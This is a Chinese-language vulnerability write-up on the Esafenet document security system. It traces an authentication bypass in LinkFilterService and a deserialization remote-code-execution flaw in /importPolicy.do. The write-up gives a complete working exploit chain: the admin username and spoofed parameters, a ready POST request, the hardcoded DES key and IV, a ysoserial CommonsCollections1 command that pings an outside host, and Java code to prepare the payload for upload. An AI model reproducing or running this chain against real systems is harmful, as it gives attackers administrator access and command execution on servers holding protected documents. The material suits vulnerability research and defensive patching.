LinkFilterService 权限绕过
漏洞描述
2023年12月,互联网上披露亿赛通电子文档安全管理系统旧版本相关接口存在权限绕过与代码执行漏洞。攻击者可构造恶意请求绕过身份认证,结合相关功能造成远程代码执行。
漏洞分析
查看web.xml,定位到接口如下
步入对应的servlet-class:com.esafenet.filter.LinkFilter
跟入代码,代码逻辑比较清晰,基本代码逻辑都在这几个方法中
service函数中,会对前端传入的参数path、userId、cur分别进行判断处理。此处先对path中是否携带有/client/AppExamList.jsp?username=
进行判断,如果不存在则会获取到username的value值,并进行CDGUtil.encode
函数的加密(至于这个加密函数,我们之后还会碰到),从而获取sId,并调用buildLinkURL
函数,根据函数名及上下文推测是用来构造302跳转地址的url。
假设符合上述判断,步入buildLinkURL
,此时传入的path为/client/AppExamList.jsp?username=xxx
,对应的我们会得到95行构造的url,即:http://host:port/CDGServer3/client/AppExamList.jsp;jsessionid=sid?username=xxx
但这里获取到的url并没有涉及任何关于用户判断认证并且会触发return提前结束service函数,因此要保障函数不步入if语句。
继续审计service中对其他参数的判断处理:传入的cur参数在被解密封装为time后,步入isOverTime
函数,假如函数返回true那么service函数将提前结束
isOverTime
函数将当前时间和传入时间进行相减并除以 1000L将单位转换为秒,若超过exam.timeout
设定的600s,则为超时,返回true。
如果未超时,函数将继续执行至buildSessionId
传入的userId为可控的前端参数,userDao.findUserById
会根据传入的userId,返回user对象。接着if语句会判断session中是否携带有loginMng的值,若为空则会调用LoginMng.login
函数
此时步入LoginMng类中,该类保存的是用户的登录相关字段,而上文中调用的是loginMng类中login的重载方法
public class LoginMng implements Serializable {
...
private User user;
private boolean isLogin;
private boolean isAdmin = false;
public LoginMng() {
}
public boolean login(String loginName, String password) throws Exception {
if (loginName != null && !loginName.equals("")) {
...
return this.isLogin;
} else {
this.isLogin = false;
return this.isLogin;
}
}
public void login(User u) {
...
if (u.getUserName().equals("admin") && u.getUserId().equals("100400000001")) {
this.setAdmin();
} else {
this.isAdmin = false;
}
this.user = u;
this.isLogin = true;
}
当传入的userid存在时,则会获取到LoginMng用户凭证,赋值到session中,并返回session会话的唯一标识符。步入userDao.findUserById
可发现执行sql语句为select * from WF_USER where USER_NAME = ?
,userid作为传入的参数,即通过用户名查询并返回用户。
public User findUserById(String userId) throws Exception {
User user2 = null;
...
new User();
String sql = "select * from WF_USER where USER_NAME = ? ";
Object[] params = new Object[]{new String(userId)};
HashMap[] maps = this.getCommonResults(sql, params);
if (maps != null && maps.length > 0) {
...
return user;
} else {
return null;
}
}
返回的session id作为sid传入buildLinkURL
,构造跳转地址
总结一下:前端可传入cur、path、userId三个值,path明文为uri路径,用作跳转,此处可输入后台地址路径:/frame.jsp;cur明文为时间戳,尽量往大了取,原则上是大于600s;userId明文为存在的用户名,亿赛通管理员用户名为systemadmin。
CDGUtil加解密可以直接导入亿赛通原有的jar包来调用函数,能省去不少麻烦。
漏洞复现
明文userid=systemadmin,cur=2099-11-11 12:12:12,path=/frame.jsp
System.out.println("userid: " + encode("systemadmin"));
System.out.println("cur: " + encode("2099-11-11 12:12:12"));
System.out.println("path: " + encode("/frame.jsp"));
加密处理得到密文
数据包如下:
POST /CDGServer3/LinkFilterService HTTP/1.1
Host:
path=BOFGGPFBFIFPBHFMGKGi&userId=GCGHGAGGFAFHFGFCFEFPFD&cur=KKPCJHNBBFBFFHOFBKENGDGFNGIBLBLBCJCPCP
成功进入后台
后利用
前段时间狂爆的反序列化漏洞就不再提了,基本都是前台xstream反序列化牵扯出的一系列接口。这里提一个后台rce接口:/importPolicy.do
文件上传接口获取到file文件,获取到文件流后,对数据进行CDGUtil.encode
加密,密文将传入byteToObject
函数
byteToObject
中是标准的反序列化代码,此时bs可控,rce近在咫尺。需要解决的就是CDGUtil.encode
的加密
步入CDGUtil.encode
,加密方式是一段DES/CBC/PKCS5Padding模式的加密,key与iv均为esafenet。
后端处理文件的过程:文件传入->DES加密->反序列化,因此rce的思路就很明确了:生成序列化文件->使用DES解密->上传文件,亿赛通还有commons-collections3.1依赖,此处使用cc1来进行rce。
漏洞复现
使用yso生成cc1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'ping zkilvkinpf.dgrh3.cn' >cc1.ser
使用如下代码对cc1.ser进行des解密,并输出至1.txt
import com.esafenet.ta.policy.utils.EncryptUtil;
import com.esafenet.util.CodeDecoder;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.util.Base64;
import static com.esafenet.util.CDGUtil.decode;
import static com.esafenet.util.CDGUtil.encode;
import org.apache.commons.io.FileUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.w3c.dom.Document;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class CDGdecode {
public static void main(String[] args) throws Exception {
byte[] bytes = desEncrypt("/Users/cc1.ser");
File file = new File("1.txt");
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(bytes);
System.out.println(new String(bytes));
}
public static byte[] desEncrypt(String filepath) throws Exception{
File file = new File(filepath);
byte[] filebyte = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(filebyte);
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
DESKeySpec dks = new DESKeySpec("esafenet".getBytes());
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(dks);
IvParameterSpec iv = new IvParameterSpec("esafenet".getBytes());
cipher.init(Cipher.ENCRYPT_MODE,securekey,iv);
byte[] bytes = cipher.doFinal(filebyte);
String s = new String(bytes);
System.out.println(s);
return bytes;
}
}
使用yakit将解密后输出的文件传入接口中
此时服务器成功执行命令,实现rce